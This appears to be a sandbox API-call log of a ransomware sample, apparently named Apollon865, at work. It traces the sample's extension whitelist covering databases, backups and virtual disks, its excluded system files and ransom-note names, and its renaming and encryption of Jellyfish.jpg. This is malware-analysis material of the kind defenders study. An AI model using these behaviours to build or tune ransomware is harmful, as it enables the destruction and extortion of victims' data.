	[0041.946] lstrlenW (lpString="fol") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0041.947] lstrlenW (lpString="fp3") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0041.947] lstrlenW (lpString="fp4") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0041.947] lstrlenW (lpString="fp5") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0041.947] lstrlenW (lpString="fp7") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0041.947] lstrlenW (lpString="fpt") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0041.947] lstrlenW (lpString="frm") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0041.947] lstrlenW (lpString="gdb") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.947] lstrlenW (lpString="gdb") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0041.947] lstrlenW (lpString="grdb") returned 4
	[0041.947] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0041.947] lstrlenW (lpString="gwi") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0041.947] lstrlenW (lpString="hdb") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0041.947] lstrlenW (lpString="his") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0041.947] lstrlenW (lpString="ib") returned 2
	[0041.947] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0041.947] lstrlenW (lpString="idb") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0041.947] lstrlenW (lpString="ihx") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0041.947] lstrlenW (lpString="itdb") returned 4
	[0041.947] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0041.947] lstrlenW (lpString="itw") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0041.947] lstrlenW (lpString="jet") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0041.947] lstrlenW (lpString="jtx") returned 3
	[0041.947] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0041.948] lstrlenW (lpString="kdb") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0041.948] lstrlenW (lpString="kexi") returned 4
	[0041.948] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0041.948] lstrlenW (lpString="kexic") returned 5
	[0041.948] lstrcmpiW (lpString1="h.jpg", lpString2="kexic") returned -1
	[0041.948] lstrlenW (lpString="kexis") returned 5
	[0041.948] lstrcmpiW (lpString1="h.jpg", lpString2="kexis") returned -1
	[0041.948] lstrlenW (lpString="lgc") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0041.948] lstrlenW (lpString="lwx") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0041.948] lstrlenW (lpString="maf") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0041.948] lstrlenW (lpString="maq") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0041.948] lstrlenW (lpString="mar") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0041.948] lstrlenW (lpString="marshal") returned 7
	[0041.948] lstrcmpiW (lpString1="ish.jpg", lpString2="marshal") returned -1
	[0041.948] lstrlenW (lpString="mas") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0041.948] lstrlenW (lpString="mav") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0041.948] lstrlenW (lpString="maw") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0041.948] lstrlenW (lpString="mdbhtml") returned 7
	[0041.948] lstrcmpiW (lpString1="ish.jpg", lpString2="mdbhtml") returned -1
	[0041.948] lstrlenW (lpString="mdn") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0041.948] lstrlenW (lpString="mdt") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0041.948] lstrlenW (lpString="mfd") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0041.948] lstrlenW (lpString="mpd") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0041.948] lstrlenW (lpString="mrg") returned 3
	[0041.948] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0041.948] lstrlenW (lpString="mud") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0041.949] lstrlenW (lpString="mwb") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0041.949] lstrlenW (lpString="myd") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0041.949] lstrlenW (lpString="ndf") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0041.949] lstrlenW (lpString="nnt") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0041.949] lstrlenW (lpString="nrmlib") returned 6
	[0041.949] lstrcmpiW (lpString1="sh.jpg", lpString2="nrmlib") returned 1
	[0041.949] lstrlenW (lpString="ns2") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0041.949] lstrlenW (lpString="ns3") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0041.949] lstrlenW (lpString="ns4") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0041.949] lstrlenW (lpString="nsf") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0041.949] lstrlenW (lpString="nv") returned 2
	[0041.949] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0041.949] lstrlenW (lpString="nv2") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0041.949] lstrlenW (lpString="nwdb") returned 4
	[0041.949] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0041.949] lstrlenW (lpString="nyf") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0041.949] lstrlenW (lpString="odb") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.949] lstrlenW (lpString="odb") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0041.949] lstrlenW (lpString="oqy") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0041.949] lstrlenW (lpString="ora") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0041.949] lstrlenW (lpString="orx") returned 3
	[0041.949] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0041.950] lstrlenW (lpString="owc") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0041.950] lstrlenW (lpString="p96") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0041.950] lstrlenW (lpString="p97") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0041.950] lstrlenW (lpString="pan") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0041.950] lstrlenW (lpString="pdb") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0041.950] lstrlenW (lpString="pdm") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0041.950] lstrlenW (lpString="pnz") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0041.950] lstrlenW (lpString="qry") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0041.950] lstrlenW (lpString="qvd") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0041.950] lstrlenW (lpString="rbf") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0041.950] lstrlenW (lpString="rctd") returned 4
	[0041.950] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0041.950] lstrlenW (lpString="rod") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0041.950] lstrlenW (lpString="rodx") returned 4
	[0041.950] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0041.950] lstrlenW (lpString="rpd") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0041.950] lstrlenW (lpString="rsd") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0041.950] lstrlenW (lpString="sas7bdat") returned 8
	[0041.950] lstrcmpiW (lpString1="fish.jpg", lpString2="sas7bdat") returned -1
	[0041.950] lstrlenW (lpString="sbf") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0041.950] lstrlenW (lpString="scx") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0041.950] lstrlenW (lpString="sdb") returned 3
	[0041.950] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0041.951] lstrlenW (lpString="sdc") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0041.951] lstrlenW (lpString="sdf") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0041.951] lstrlenW (lpString="sis") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0041.951] lstrlenW (lpString="spq") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0041.951] lstrlenW (lpString="te") returned 2
	[0041.951] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0041.951] lstrlenW (lpString="teacher") returned 7
	[0041.951] lstrcmpiW (lpString1="ish.jpg", lpString2="teacher") returned -1
	[0041.951] lstrlenW (lpString="tmd") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0041.951] lstrlenW (lpString="tps") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0041.951] lstrlenW (lpString="trc") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.951] lstrlenW (lpString="trc") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0041.951] lstrlenW (lpString="trm") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0041.951] lstrlenW (lpString="udb") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0041.951] lstrlenW (lpString="udl") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0041.951] lstrlenW (lpString="usr") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0041.951] lstrlenW (lpString="v12") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0041.951] lstrlenW (lpString="vis") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0041.951] lstrlenW (lpString="vpd") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0041.951] lstrlenW (lpString="vvv") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0041.951] lstrlenW (lpString="wdb") returned 3
	[0041.951] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0041.951] lstrlenW (lpString="wmdb") returned 4
	[0041.952] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0041.952] lstrlenW (lpString="wrk") returned 3
	[0041.952] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0041.952] lstrlenW (lpString="xdb") returned 3
	[0041.952] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0041.952] lstrlenW (lpString="xld") returned 3
	[0041.952] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0041.952] lstrlenW (lpString="xmlff") returned 5
	[0041.952] lstrcmpiW (lpString1="h.jpg", lpString2="xmlff") returned -1
	[0041.952] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Apollon865") returned 65
	[0041.952] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.apollon865"), dwFlags=0x1) returned 1
	[0041.954] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0041.954] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=775702) returned 1
	[0041.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0041.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0041.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0041.954] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0041.955] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0041.955] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.955] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd920, lpName=0x0) returned 0x150
	[0041.957] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd920) returned 0x2a80000
	[0041.990] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0041.991] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.991] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.991] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0041.999] CloseHandle (hObject=0x150) returned 1
	[0041.999] CloseHandle (hObject=0x15c) returned 1
	[0042.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0042.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0042.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0042.025] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2=".") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="..") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="windows") returned -1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="bootmgr") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="temp") returned -1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="pagefile.sys") returned -1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="boot") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="ids.txt") returned 1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="ntuser.dat") returned -1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="perflogs") returned -1
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2="MSBuild") returned -1
	[0042.025] lstrlenW (lpString="Koala.jpg") returned 9
	[0042.025] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned 54
	[0042.025] lstrcpyW (in: lpString1=0x119e65a, lpString2="Koala.jpg" | out: lpString1="Koala.jpg") returned="Koala.jpg"
	[0042.025] lstrlenW (lpString="Koala.jpg") returned 9
	[0042.025] lstrlenW (lpString="Apollon865") returned 10
	[0042.025] lstrlenW (lpString=".dll") returned 4
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2=".dll") returned 1
	[0042.025] lstrlenW (lpString=".lnk") returned 4
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2=".lnk") returned 1
	[0042.025] lstrlenW (lpString=".ini") returned 4
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2=".ini") returned 1
	[0042.025] lstrlenW (lpString=".sys") returned 4
	[0042.025] lstrcmpiW (lpString1="Koala.jpg", lpString2=".sys") returned 1
	[0042.025] lstrlenW (lpString="Koala.jpg") returned 9
	[0042.025] lstrlenW (lpString="bak") returned 3
	[0042.025] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0042.025] lstrlenW (lpString="ba_") returned 3
	[0042.025] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0042.025] lstrlenW (lpString="dbb") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0042.026] lstrlenW (lpString="vmdk") returned 4
	[0042.026] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0042.026] lstrlenW (lpString="rar") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0042.026] lstrlenW (lpString="zip") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0042.026] lstrlenW (lpString="tgz") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0042.026] lstrlenW (lpString="vbox") returned 4
	[0042.026] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0042.026] lstrlenW (lpString="vdi") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0042.026] lstrlenW (lpString="vhd") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0042.026] lstrlenW (lpString="vhdx") returned 4
	[0042.026] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0042.026] lstrlenW (lpString="avhd") returned 4
	[0042.026] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0042.026] lstrlenW (lpString="db") returned 2
	[0042.026] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0042.026] lstrlenW (lpString="db2") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0042.026] lstrlenW (lpString="db3") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0042.026] lstrlenW (lpString="dbf") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0042.026] lstrlenW (lpString="mdf") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0042.026] lstrlenW (lpString="mdb") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0042.026] lstrlenW (lpString="sql") returned 3
	[0042.026] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0042.026] lstrlenW (lpString="sqlite") returned 6
	[0042.026] lstrcmpiW (lpString1="la.jpg", lpString2="sqlite") returned -1
	[0042.026] lstrlenW (lpString="sqlite3") returned 7
	[0042.026] lstrcmpiW (lpString1="ala.jpg", lpString2="sqlite3") returned -1
	[0042.026] lstrlenW (lpString="sqlitedb") returned 8
	[0042.026] lstrcmpiW (lpString1="oala.jpg", lpString2="sqlitedb") returned -1
	[0042.027] lstrlenW (lpString="xml") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0042.027] lstrlenW (lpString="$er") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0042.027] lstrlenW (lpString="4dd") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0042.027] lstrlenW (lpString="4dl") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0042.027] lstrlenW (lpString="^^^") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0042.027] lstrlenW (lpString="abs") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0042.027] lstrlenW (lpString="abx") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0042.027] lstrlenW (lpString="accdb") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accdb") returned -1
	[0042.027] lstrlenW (lpString="accdc") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accdc") returned -1
	[0042.027] lstrlenW (lpString="accde") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accde") returned -1
	[0042.027] lstrlenW (lpString="accdr") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accdr") returned -1
	[0042.027] lstrlenW (lpString="accdt") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accdt") returned -1
	[0042.027] lstrlenW (lpString="accdw") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accdw") returned -1
	[0042.027] lstrlenW (lpString="accft") returned 5
	[0042.027] lstrcmpiW (lpString1="a.jpg", lpString2="accft") returned -1
	[0042.027] lstrlenW (lpString="adb") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0042.027] lstrlenW (lpString="adb") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0042.027] lstrlenW (lpString="ade") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0042.027] lstrlenW (lpString="adf") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0042.027] lstrlenW (lpString="adn") returned 3
	[0042.027] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0042.028] lstrlenW (lpString="adp") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0042.028] lstrlenW (lpString="alf") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0042.028] lstrlenW (lpString="ask") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0042.028] lstrlenW (lpString="btr") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0042.028] lstrlenW (lpString="cat") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0042.028] lstrlenW (lpString="cdb") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0042.028] lstrlenW (lpString="ckp") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0042.028] lstrlenW (lpString="cma") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0042.028] lstrlenW (lpString="cpd") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0042.028] lstrlenW (lpString="dacpac") returned 6
	[0042.028] lstrcmpiW (lpString1="la.jpg", lpString2="dacpac") returned 1
	[0042.028] lstrlenW (lpString="dad") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0042.028] lstrlenW (lpString="dadiagrams") returned 10
	[0042.028] lstrlenW (lpString="daschema") returned 8
	[0042.028] lstrcmpiW (lpString1="oala.jpg", lpString2="daschema") returned 1
	[0042.028] lstrlenW (lpString="db-journal") returned 10
	[0042.028] lstrlenW (lpString="db-shm") returned 6
	[0042.028] lstrcmpiW (lpString1="la.jpg", lpString2="db-shm") returned 1
	[0042.028] lstrlenW (lpString="db-wal") returned 6
	[0042.028] lstrcmpiW (lpString1="la.jpg", lpString2="db-wal") returned 1
	[0042.028] lstrlenW (lpString="dbc") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0042.028] lstrlenW (lpString="dbs") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0042.028] lstrlenW (lpString="dbt") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0042.028] lstrlenW (lpString="dbv") returned 3
	[0042.028] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0042.028] lstrlenW (lpString="dbx") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0042.029] lstrlenW (lpString="dcb") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0042.029] lstrlenW (lpString="dct") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0042.029] lstrlenW (lpString="dcx") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0042.029] lstrlenW (lpString="ddl") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0042.029] lstrlenW (lpString="dlis") returned 4
	[0042.029] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0042.029] lstrlenW (lpString="dp1") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0042.029] lstrlenW (lpString="dqy") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0042.029] lstrlenW (lpString="dsk") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0042.029] lstrlenW (lpString="dsn") returned 3
	[0042.029] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0042.029] lstrlenW (lpString="dtsx") returned 4
